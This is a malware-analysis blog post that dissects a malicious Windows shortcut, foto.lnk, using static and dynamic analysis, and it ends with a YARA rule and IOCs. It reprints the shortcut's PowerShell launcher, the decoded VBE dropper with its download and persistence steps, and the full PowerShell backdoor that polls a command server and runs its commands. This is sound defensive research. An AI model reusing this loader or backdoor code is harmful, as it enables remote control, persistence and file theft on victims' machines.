"Say Cheese!" An analysis of foto.lnk

In Australia, a platypus is colloquially called the 'spare parts animal'. It's an egg-laying mammal, with a duck bill, beaver tail and webbed feet. It's perfectly adapted to its environment despite looking like a Frankenstien of the animal world.

What does this have to do with a malicious LNK file? Well, apart from the fact I like platypuses (or is it platypi?), malware using LNK files stitch together the world between the attacker and the victim. These 'toolmarks' have been written by myself and more extensively here. So that's why I keep coming back to looking at them.

Additionally, this random sample from Hybrid-Analysis, foto.lnk, is also a bit of a Frankenstien of a malware: stitched together with various components that we shall examine. It's not a ground-breaking, born of an APT [1], or ingenious. But still is interesting to deconstruct. So, without wasting any more time on Australian monotremes, let's dive in an take a look!

Foto.lnk

The file, foto.lnk (SHA256: D28C1C4F4C705B21E84ADADB42594E42543DF4F1C4B44219569DC18B375E78E3) appears as a normal LNK file. Of course, the target executes PowerShell via cmd.exe rather than launch a program:

LNK File

The full code executed is as follows:

C:\Windows\System32\cmd.exe /c start "" explorer "%cd%\Foto" | powershell -NonInteractive -noLogo -c "& {get-content %cd%\Foto.lnk | select -Last 1 > %appdata%\_.vbe}" && start "" wscript //B "%appdata%\_.vbe"

This command will execute PowerShell Get-Content to write the last line of the LNK file to another file: C:\Users\<account>\AppData\Roaming\_.vbe. In this case, the LNK file (perhaps we should now say Frankenlnk?) is carrying the second payload: an encoded Visual Basic file. Shifting to the end of the file where the PowerShell is copying data from, the encoded contents can be seen starting with #@~ and ending with ^#~@.

Encoded Payload

_.VBE

VBE files are a legitimate way for developers to obfuscate their scripts to protect their intellectual property. See here for a great run-down on VBE malware. Using Didier Stevens' tool decode-vbe.py the obfuscated output becomes:

function DF353449CC6DEB35002E2EC(BBFD5FC89F398A9E08E6734)
for AC3DC0C68330AD3CCBCC207 = 1 to len(BBFD5FC89F398A9E08E6734)  Step 2
DF353449CC6DEB35002E2EC = DF353449CC6DEB35002E2EC & Chr(int("&H"&mid(BBFD5FC89F398A9E08E6734,AC3DC0C68330AD3CCBCC207,2)))
next
End Function
On Error Resume Next
Set CCF1828B74279597728A = CreateObject(DF353449CC6DEB35002E2EC("577363726970742E5368656C6C"))
Set FE60A4152AFF46A3BE9403F=CreateObject(DF353449CC6DEB35002E2EC("536372697074696E672E46696C6553797374656D4F626A656374"))
CB2DFC0272FBAFE74128D43 = DF353449CC6DEB35002E2EC("636C69656E74")
BBB6B994ABBEC7719177C4A = DF353449CC6DEB35002E2EC("636C69656E742E707331")
FBD652DA231F93648EE5FF1 = CCF1828B74279597728A.ExpandEnvironmentStrings(DF353449CC6DEB35002E2EC("257573657270726F66")&DF353449CC6DEB35002E2EC("696C6525"))&DF353449CC6DEB35002E2EC("5C417070446174615C526F616D696E675C4D6963726F736F66745C57696E646F77735C5374617274204D656E755C50726F6772616D735C537461727475705C2E6C6E6B")
FF2CF9DFB02A68243C7A007 = CCF1828B74279597728A.ExpandEnvironmentStrings(DF353449CC6DEB35002E2EC("25757365")&DF353449CC6DEB35002E2EC("7270726F66696C6525") & DF353449CC6DEB35002E2EC("5C53595354454D"))
EEF7DC408D6E68E06D9C2F9 = DF353449CC6DEB35002E2EC("68747470733A2F2F7A777169702E6D6C2F3435373137")
AF954113B32AED10916E1A7 = chr(34)
BF478F231C1E9460F79BB4E = DF353449CC6DEB35002E2EC("706F7765727368656C6C202D6E6F4C6F676F202D4E6F6E496E746572616374697665202D6320")&AF954113B32AED10916E1A7&DF353449CC6DEB35002E2EC("267B284E65772D4F626A656374204E65742E576562436C69656E74292E446F776E6C6F616446696C652827") & EEF7DC408D6E68E06D9C2F9 & DF353449CC6DEB35002E2EC("272C24656E763A7573657270726F66696C652B275C") & CB2DFC0272FBAFE74128D43 & DF353449CC6DEB35002E2EC("27293B7D")&AF954113B32AED10916E1A7
ABF02819764175C48EFC73A = DF353449CC6DEB35002E2EC("657870616E6420")&AF954113B32AED10916E1A7&DF353449CC6DEB35002E2EC("25757365727072")&DF353449CC6DEB35002E2EC("6F66696C65255C")& CB2DFC0272FBAFE74128D43 &AF954113B32AED10916E1A7&DF353449CC6DEB35002E2EC("20")&AF954113B32AED10916E1A7&DF353449CC6DEB35002E2EC("25757365727072")&DF353449CC6DEB35002E2EC("6F66696C65255C")&BBB6B994ABBEC7719177C4A&AF954113B32AED10916E1A7
FD9EEE6B396C96EF57FA0D8 = DF353449CC6DEB35002E2EC("706F7765727368656C6C202D6E6F4C6F676F202D4E6F6E496E746572616374697665202D457865637574696F6E506F6C6963792042797061737320202D6320")&AF954113B32AED10916E1A7&DF353449CC6DEB35002E2EC("696E766F6B652D65787072657373696F6E2024656E763A7573657270726F66696C65275C")&BBB6B994ABBEC7719177C4A&DF353449CC6DEB35002E2EC("27")&AF954113B32AED10916E1A7
BDE45D751DE0BB087449910 = DF353449CC6DEB35002E2EC("617474726962202B68202B73202B7220")&AF954113B32AED10916E1A7&CCF1828B74279597728A.ExpandEnvironmentStrings(DF353449CC6DEB35002E2EC("257573657270")&DF353449CC6DEB35002E2EC("726F66696C6525"))&DF353449CC6DEB35002E2EC("5C")&BBB6B994ABBEC7719177C4A&AF954113B32AED10916E1A7
BC5AFC96DE5641F3DF61FB9 = DF353449CC6DEB35002E2EC("636D64202F632064656C202F66202F7320")&AF954113B32AED10916E1A7&CCF1828B74279597728A.ExpandEnvironmentStrings(DF353449CC6DEB35002E2EC("257573657270726F66")&DF353449CC6DEB35002E2EC("696C6525")) & DF353449CC6DEB35002E2EC("5C")&CB2DFC0272FBAFE74128D43&AF954113B32AED10916E1A7
CCF1828B74279597728A.Run BF478F231C1E9460F79BB4E,0,True
CCF1828B74279597728A.Run ABF02819764175C48EFC73A,0,True
CCF1828B74279597728A.Run BDE45D751DE0BB087449910,0,True
CCF1828B74279597728A.Run BC5AFC96DE5641F3DF61FB9,0
AA2B5C8CB1A3A5A94A986C2 = FF2CF9DFB02A68243C7A007
Set AF0D10F083F00C234B4F60A = FE60A4152AFF46A3BE9403F.CreateTextFile(AA2B5C8CB1A3A5A94A986C2,True)
AF0D10F083F00C234B4F60A.Write DF353449CC6DEB35002E2EC("44696D207368656C6C2C636F6D6D616E64") & vbCrLf
AF0D10F083F00C234B4F60A.Write DF353449CC6DEB35002E2EC("536574207368656C6C203D204372656174654F626A65637428")&AF954113B32AED10916E1A7&DF353449CC6DEB35002E2EC("577363726970742E5368656C6C")&AF954113B32AED10916E1A7&DF353449CC6DEB35002E2EC("29") & vbCrLf
AF0D10F083F00C234B4F60A.Write DF353449CC6DEB35002E2EC("636F6D6D616E64203D20")&AF954113B32AED10916E1A7&DF353449CC6DEB35002E2EC("706F7765727368656C6C202D6E6F4C6F676F202D4E6F6E496E746572616374697665202D457865637574696F6E506F6C6963792042797061737320202D6320")&AF954113B32AED10916E1A7&AF954113B32AED10916E1A7&DF353449CC6DEB35002E2EC("696E766F6B652D65787072657373696F6E2024656E763A7573657270726F66696C65275C") & BBB6B994ABBEC7719177C4A & DF353449CC6DEB35002E2EC("27")&AF954113B32AED10916E1A7&AF954113B32AED10916E1A7&AF954113B32AED10916E1A7&vbCrLf
AF0D10F083F00C234B4F60A.Write DF353449CC6DEB35002E2EC("7368656C6C2E52756E20636F6D6D616E642C30")
AF0D10F083F00C234B4F60A.Close
Set AF0D10F083F00C234B4F60A = Nothing
Set AF0D10F083F00C234B4F60A = FE60A4152AFF46A3BE9403F.GetFile(AA2B5C8CB1A3A5A94A986C2)
AF0D10F083F00C234B4F60A.Attributes = 7
Set AF0D10F083F00C234B4F60A = Nothing
Set BA06C14AA13C53E7C9AF076 = CCF1828B74279597728A.CreateShortcut(FBD652DA231F93648EE5FF1)
BA06C14AA13C53E7C9AF076.TargetPath = CCF1828B74279597728A.ExpandEnvironmentStrings(DF353449CC6DEB35002E2EC("257379737465")&DF353449CC6DEB35002E2EC("6D647269766525")) &  DF353449CC6DEB35002E2EC("5C57696E646F77735C53797374656D33325C636D642E657865")
BA06C14AA13C53E7C9AF076.Arguments = DF353449CC6DEB35002E2EC("2F632077736372697074202F2F42202F2F453A76627320257573")&DF353449CC6DEB35002E2EC("657270726F66696C65255C53595354454D")
BA06C14AA13C53E7C9AF076.IconLocation = CCF1828B74279597728A.ExpandEnvironmentStrings(DF353449CC6DEB35002E2EC("2573797374656D64")&DF353449CC6DEB35002E2EC("7269766525")) & DF353449CC6DEB35002E2EC("5C57696E646F77735C53797374656D33325C5368656C6C33322E646C6C2C34")
BA06C14AA13C53E7C9AF076.WindowStyle = DF353449CC6DEB35002E2EC("37")
BA06C14AA13C53E7C9AF076.WorkingDirectory = DF353449CC6DEB35002E2EC("2543")&DF353449CC6DEB35002E2EC("4425")
BA06C14AA13C53E7C9AF076.Save
Set BA06C14AA13C53E7C9AF076 = Nothing
Set CB7D9146496BF22F697EB8F = FE60A4152AFF46A3BE9403F.GetFile(FBD652DA231F93648EE5FF1)
CB7D9146496BF22F697EB8F.Attributes = 6
Set CB7D9146496BF22F697EB8F = Nothing
CCF1828B74279597728A.RegWrite DF353449CC6DEB35002E2EC("484B43555C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E5C"),AF954113B32AED10916E1A7&FBD652DA231F93648EE5FF1&AF954113B32AED10916E1A7,DF353449CC6DEB35002E2EC("5245475F535A")
CCF1828B74279597728A.Run FD9EEE6B396C96EF57FA0D8,0

Ugh.

For someone like me who doesn't know a whole lot of Visual Basic this looks painful. But...looking at the code I can see hexadecimal values in the quotes. It would be remiss of a blog called 'bit_of_hex' not to extract those and see what they are. Of course, CyberChef to the rescue:

Regular_expression('User defined','\\(".*?"\\)',true,false,false,false,false,false,'List matches')
Find_/_Replace({'option':'Simple string','string':'("'},'',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':'")'},'',true,false,true,false)
Fork('\\n','\\n',false)
From_Hex('Auto')

The power of this CyberChef recipe is the regular expression \(".*?"\). This will extract everything in bracketed quotes to the first end quote/bracket. Using the CyberChef 'highlight regex' function the result can be previewed before committing:

CyberChef

From there, it's a simple find/replace, and convert from hexadecimal to get the following output of strings:

Wscript.Shell
Scripting.FileSystemObject
client
client.ps1
%userprof
ile%
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\.lnk
%use
rprofile%
\SYSTEM
hxxps://zwqip.ml/45717
powershell -noLogo -NonInteractive -c 
&{(New-Object Net.WebClient).DownloadFile('
',$env:userprofile+'\
');}
expand 
%userpr
ofile%\
 
%userpr
ofile%\
powershell -noLogo -NonInteractive -ExecutionPolicy Bypass  -c 
invoke-expression $env:userprofile'\
'
attrib +h +s +r 
%userp
rofile%
\
cmd /c del /f /s 
%userprof
ile%
\
Dim shell,command
Set shell = CreateObject(
Wscript.Shell
)
command = 
powershell -noLogo -NonInteractive -ExecutionPolicy Bypass  -c 
invoke-expression $env:userprofile'\
'
shell.Run command,0
%syste
mdrive%
\Windows\System32\cmd.exe
/c wscript //B //E:vbs %us
erprofile%\SYSTEM
%systemd
rive%
\Windows\System32\Shell32.dll,4
7
%C
D%
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
REG_SZ

While this is simply a list of strings, we can infer the gist of the VBS script without doing much further:

  • download from hxxps://zwqip.ml/45717;
  • reference to a file: client.ps1;
  • changes to file attributes;
  • delete file(s);
  • call another file, SYSTEM; and
  • modification or reading of the CurrentVersion\Run\ registry key, and the folder \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\, both common persistence locations.

client.ps1

The C2, hxxps://zwqip.ml/45717, was not functioning by the time I got to this sample. However, looking at client.ps1 (SHA256: 3FA019CEC8B4FF90344C595494F5CBA0E5915210C0E8B175C452566C1034B680) from Hybrid-Analysis reveals the following:

$global:lo1l1l1l1o1o1lo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U3lzdGVtLldlYi5FeHRlbnNpb25z"))
[System.Reflection.Assembly]::LoadWithPartialName($global:lo1l1l1l1o1o1lo)|out-null
$global:lo1o1olo1l = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly96cnV3b2RyZWUuZ3E"))
$global:oolo1olo1l = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQyLjAuMjMxMS4xMDUgU2FmYXJpLzUzNy4zNiBFZGdlLzEyLjI0Ng=="))
$global:l1l1l1l1ll1l1l0l1l = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("WC1SZWc="))
$global:l01l0l111ll10l = $null
$global:l000l1l0l0l = $null
$global:l10ll0ll00 = $null
$global:ool0l00l1l0 = $null
$global:l0l1l0l0olol = 0
$global:l0100ll10ll0 = 30
$global:l0l1l0l1l = $null
$global:o1l0lol10ol0 = 20
$global:ll1ool1oll1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Q29va2ll"))
$global:ll1oooll1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U2V0LUNvb2tpZQ=="))
$global:ll1oo11oll1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("UE9TVA=="))
$global:lloo1ll1loooll1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("R0VU"))
$global:llolol1l1loooll1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Q3JlYXRlZA=="))
$global:llo0l1loooll1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Y29tbWFuZA=="))
$global:llo0l1loll1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("dGFza0lk"))
$global:llo0l1loll1l = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("dHlwZQ=="))
$global:llo0l0lloll1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("I3dhaXQ="))
$global:l1o0l1loll1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("bmV3IHRpbWVvdXQ6"))

#Functions
function MakeRequest{
    param ($_type)
    process {
        $l1ool0ol1oo0l1o0l = [System.Net.HttpWebRequest]::Create($lo1o1olo1l)
        $l1ool0ol1oo0l1o0l.UserAgent = $global:oolo1olo1l
        
        switch($_type){
            "l10lll101l0l"{
                if($global:l01l0l111ll10l -ne $null){
                    ;break
                }

                $l1ool0ol1oo0l1o0l.Headers.Add($global:l1l1l1l1ll1l1l0l1l,$global:l0l1l0l1l)
                $l1ool0ol1oo0l1o0l.Method = $global:ll1oo11oll1
                $ll1ool0lollo1l = [System.Net.HttpWebResponse] $l1ool0ol1oo0l1o0l.GetResponse()

                   if($ll1ool0lollo1l.StatusDescription -eq $global:llolol1l1loooll1){
                        $global:l01l0l111ll10l =  $ll1ool0lollo1l.Headers[$global:ll1oooll1];
                   }

                ;break
            }
            "l10l11l1l000l1ll10"{
                $l1ool0ol1oo0l1o0l.Method = $global:lloo1ll1loooll1
                $l1ool0ol1oo0l1o0l.Headers.Add($global:ll1ool1oll1,$global:l01l0l111ll10l)
                try {
                $ll1ool0lollo1l = [System.Net.HttpWebResponse] $l1ool0ol1oo0l1o0l.GetResponse()
                $responseStream = [System.IO.Stream]$ll1ool0lollo1l.GetResponseStream()
                $reader = New-Object System.IO.StreamReader($responseStream,[System.Text.Encoding]::UTF8)
                $global:l10ll0ll00 =  $reader.ReadToEnd()
                $reader = $null
                $responseStream = $null
                $ll1ool0lollo1l = $null

                $ser = New-Object System.Web.Script.Serialization.JavaScriptSerializer
                $obj = $ser.DeserializeObject($global:l10ll0ll00)
                $ser = $null
                $global:l000l1l0l0l = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($obj[$global:llo0l1loooll1])).trim()
                $global:l0l1l0l0olol = $obj[$global:llo0l1loll1]
                $obj = $null
                }
                catch{
                $global:l000l1l0l0l = $null
                $global:l10ll0ll00 = $null
                }

                ;break
            }
            "ol11ool1llool1llol"{

                if ($global:ool0l00l1l0 -eq $null){
                    ;break
                }
                Start-Sleep -Seconds 5 

                $l1ool0ol1oo0l1o0l.Headers.Add($global:ll1ool1oll1,$global:l01l0l111ll10l + ";"+$global:llo0l1loll1+"="+$global:l0l1l0l0olol)
                
                $l1ool0ol1oo0l1o0l.Method = $global:ll1oo11oll1

                $ll1oolllolo += $global:ool0l00l1l0
                $ll1oolllolo += "`n`r"
                $global:ool0l00l1l0 = $null
                $global:l000l1l0l0l = $null

                $l1ol = [System.Text.Encoding]::UTF8.GetBytes($ll1oolllolo)
                $ll1oolllolo = $null
                $l1oll1ol = $l1ool0ol1oo0l1o0l.GetRequestStream()
                $l1oll1ol.write($l1ol,0,$l1ol.Length)
                $l1ol = $null

                $l1oll1ol.flush()
                $l1oll1ol.close()

                $ll1ool0lollo1l = [System.Net.HttpWebResponse] $l1ool0ol1oo0l1o0l.GetResponse() 
                $ll1ool0lollo1l = $null

                ;break
            }    
        }

        $l1ool0ol1oo0l1o0l = $null
    }
}

function Execute{
    param()
    process{
        if ($global:l000l1l0l0l -ne $null){
                
            if($global:l000l1l0l0l.StartsWith($global:llo0l1loll1l)){
                $global:l000l1l0l0l = $global:l000l1l0l0l.Substring($global:llo0l1loll1l.Length)
              try{
                $global:ool0l00l1l0 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($global:l000l1l0l0l))
              }  
              catch{
                  $global:ool0l00l1l0 = $_.Exception.message
              }
            }
            else {
                try{
                    switch($global:l000l1l0l0l.Split(" ",2)[0]){
                        $global:llo0l0lloll1{
                            $global:o1l0lol10ol0 = [int]$global:l000l1l0l0l.Split(" ",2)[1]
                            $global:ool0l00l1l0 = $global:l1o0l1loll1 + $global:o1l0lol10ol0
                        ;break
                        }
                        Default{
                            if ($global:l000l1l0l0l) {
                                $job = start-job -scriptblock {
                                                            param($c)
                                                                    try {
                                                                            Invoke-Expression ($c) | out-string 
                                                                        }
                                                                    catch {
                                                                            $_.Exception.message
                                                                        }
                                                                } -Arg $global:l000l1l0l0l
                            if (wait-job $job -Timeout $global:l0100ll10ll0) {
                                $global:ool0l00l1l0 = receive-job $job
                            }
                            else {
                                $global:ool0l00l1l0 = ""
                                Remove-Job -force $job
                        }
                    }
                            ;break;
                        }

                    }


                } 
                catch {
                    $global:ool0l00l1l0 = $_.Exception.message
                }
                $global:ool0l00l1l0 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($global:ool0l00l1l0))
                $global:l000l1l0l0l = $null
            }
        }
    }
}
#Main
while ($true) {
    if($global:l0l1l0l1l -eq $null){ 
        $global:l0l1l0l1l = Invoke-Expression -Command "Get-WMIObject -Class Win32_ComputerSystem | Select-Object -Property `"Manufacturer`" | ft -HideTableHeaders"  | Out-String -OutVariable out
        $global:l0l1l0l1l = $global:l0l1l0l1l.Trim() + ";"
        $global:l0l1l0l1l += Invoke-Expression -Command "Get-WMIObject -Class Win32_ComputerSystem | Select-Object -Property `"Model`" | ft -HideTableHeaders"  | Out-String -OutVariable out
        $global:l0l1l0l1l = $global:l0l1l0l1l.Trim() + ";"
        $global:l0l1l0l1l += Invoke-Expression -Command "Get-WMIObject -Class Win32_ComputerSystem | Select-Object -Property `"Name`" | ft -HideTableHeaders"  | Out-String -OutVariable out
        $global:l0l1l0l1l = $global:l0l1l0l1l.Trim() + ";"
        $global:l0l1l0l1l += Invoke-Expression -Command "Get-WMIObject -Class Win32_ComputerSystemProduct | Select-Object -Property `"IdentifyingNumber`" | ft -HideTableHeaders" | Out-String -OutVariable out
        $global:l0l1l0l1l = $global:l0l1l0l1l.Trim()
        $global:l0l1l0l1l = $global:l0l1l0l1l.Replace("`n","").Replace("`r","")
    }
    else
    {
        MakeRequest "l10lll101l0l"
        MakeRequest "l10l11l1l000l1ll10"
        Execute
        MakeRequest "ol11ool1llool1llol"
    }
    Start-Sleep -Seconds $global:o1l0lol10ol0
}

The author has attempted to confuse analysis with similar variable names mixed with some Base64, and then ending with some Windows Management Instrumentation (WMI) calls. Let's look at the Base64 strings first:

Regular_expression('User defined','\\("[a-zA-Z0-9/=+]{3,}"\\)',true,true,false,false,false,false,'List matches')
Find_/_Replace({'option':'Simple string','string':'("'},'',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':'")'},'',true,false,true,false)
Fork('\\n','\\n',false)
From_Base64('A-Za-z0-9+/=',true)

Gives a list of strings as follows:

System.Web.Extensions
hxxps://zruwodree.gq
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.105 Safari/537.36 Edge/12.246
X-Reg
Cookie
Set-Cookie
POST
GET
Created
command
taskId
type
#wait
new timeout:

So another domain hxxps://zruwodree.gq, and a User Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.105 Safari/537.36 Edge/12.246.

Tracing back in the script we can determine the variables referenced in this section of code: $lo1o1olo1l and $oolo1olo1l refer to the above Base64 encoded domain and User Agent:

#Functions
function MakeRequest{
    param ($_type)
    process {
        $l1ool0ol1oo0l1o0l = [System.Net.HttpWebRequest]::Create($lo1o1olo1l)
        $l1ool0ol1oo0l1o0l.UserAgent = $global:oolo1olo1l

Without looking further, I'll make a leap and assess there is communication (GET/POST) with the second C2 and likely the results of the WMI output are POSTed back. Fireeye did some research into specific WMI calls such as these, and it is likely used for virtual machine detection. For example, on my non-virtualised host the result of Get-WMIObject -Class Win32_ComputerSystem is:

Domain              : WORKGROUP
Manufacturer        : LENOVO
Model               : 20F9CTO1WW
Name                : DFIR
PrimaryOwnerName    : (redacted)
TotalPhysicalMemory : 34171711488

Compared to my VMWare environment:

Domain              : WORKGROUP
Manufacturer        : VMware, Inc.
Model               : VMware Virtual Platform
Name                : DESKTOP
PrimaryOwnerName    : (redacted)
TotalPhysicalMemory : 2146947072

Dynamic Analysis

Dynamic analysis is a great way to confirm the initial analysis of parsing out the scripts and seeing what you missed by a simple deobfuscation. In this case I ran the LNK file alongside Process Explorer and RegShot. On a separate Remnux VM I ran iNetSIM and Wireshark.

Importing Process Explorer into ProcDOT is the easiest way to visualise what is going on, alongside the RegShot output. In summary we can observe:

  • The LNK file launching PowerShell to extract the VBE to C:\Users\abc\AppData\Roaming\
  • Wscript running the VBE as wscript //B "C:\Users\abc\AppData\Roaming\_.vbe"
  • Setting the registry values to lower internet security and proxy settings[2] HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName, HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass, HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet, and HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect
  • Attempts to create the file C:\Users\abc\client
  • Attempts to run the command "C:\Windows\System32\expand.exe" "C:\Users\abc\client" "C:\Users\abc\client.ps1"
  • Attempts to delete the file C:\Users\abc\client
  • Attempts to hide the file via "C:\Windows\System32\attrib.exe" +h +s +r "C:\Users\abc\client.ps1"
  • Creates file C:\Users\abc\SYSTEM
  • Creates a file at C:\Users\abc\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\.lnk
  • Sets Registry Key "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ to execute the file .lnk

Looking at the files created there are no significant surprises from the static analysis, just the details of putting the strings together:

.lnk

The file .lnk is another LNK file with the malicious code to execute the persistence SYSTEM

\Windows\System32\cmd.exe.%CD%+/c wscript //B //E:vbs %userprofile%\SYSTEM.C:\Windows\System32\Shell32.dll

SYSTEM

The file SYSTEM will be used to execute the client.ps1 PowerShell:

Dim shell,command Set shell = CreateObject("Wscript.Shell") command = "powershell -noLogo -NonInteractive -ExecutionPolicy Bypass -c ""invoke-expression $env:userprofile'\client.ps1'""" shell.Run command,0

client.ps1

There are two problems that we've now hit in our analysis. First, the file client.ps1 is broken. The Base64 encoded domain hxxps://zruwodree.gq throws an error due to invalid length:

$global:lo1o1olo1l = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("aHR0cH
6Ly96cnV3b2RyZWUuZ3E"))
Exception calling "FromBase64String" with "1" argument(s): "Invalid length for a Base-64 char array or string."
At line:1 char:1
+ $global:lo1o1olo1l = [System.Text.Encoding]::UTF8.GetString([System.C ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : FormatException

The Base64 needs another byte of padding, =, to be valid. Even when this is patched, we get another error when running the script:

Exception calling "GetResponse" with "0" argument(s): "The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel."
At C:\Users\abc\Desktop\client.ps1:40 char:17
+ ...             $ll1ool0lollo1l = [System.Net.HttpWebResponse] $l1ool0ol1 ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException

Summary

We can't go much further with this if the domain is down and the script is broken. Further, the domain hxxps://zruwodree.gq wasn't up at the time of writing so the final purpose/payload wasn't identified. However, this has been a good exercise to step through a series of hoops both in static and dynamic analysis: LNK file -> PowerShell -> Encoded VBE -> Wscript -> PowerShell -> WMI calls.

There is still a wealth of analysis than can be done on this one sample:

  • LNK toolmark analysis;
  • Retrohunt similar samples; or
  • OSINT for the domains hxxps://zruwodree.gq and hxxps://zwqip.ml, or the coding style.

A YARA rule to start with could concentrate on the LNK file embedded VBE payload:

rule LNK_with_VBE { 
 meta: 
  description = "Detects LNK file with embedded VBE script" 
  author = "@mattnotmax" 
  date = "2019-11-16" 
  hash1 = "D28C1C4F4C705B21E84ADADB42594E42543DF4F1C4B44219569DC18B375E78E3"
  strings: 
  $a1 = "#@~^" ascii 
  $a2 = "^#~@" ascii   
condition: uint16(0) == 0x4c and ($a1 and $a2)
}

I hope this walk-through has been informative. If you have any questions, comments or notice a glaring error, let me know at matt@bitofhex.com or via @mattnotmax

IOCs:

D28C1C4F4C705B21E84ADADB42594E42543DF4F1C4B44219569DC18B375E78E3 (foto.lnk)
3FA019CEC8B4FF90344C595494F5CBA0E5915210C0E8B175C452566C1034B680 (original client.ps1)
bc6db592752c65eaf8656c6c74705d1d1eb6136da46d6397a420e84041a19a34 (patched client.ps1)
hxxps://zwqip.ml
hxxps://zruwodree.gq


  1. If I'm incorrect, could the APT responsible please let me know to fix any errors: matt@bitofhex.com. Thanks! :) ↩︎

  2. See: https://getadmx.com/HKCU/Software/Policies/Microsoft/Windows/CurrentVersion/Internet Settings/ZoneMap ↩︎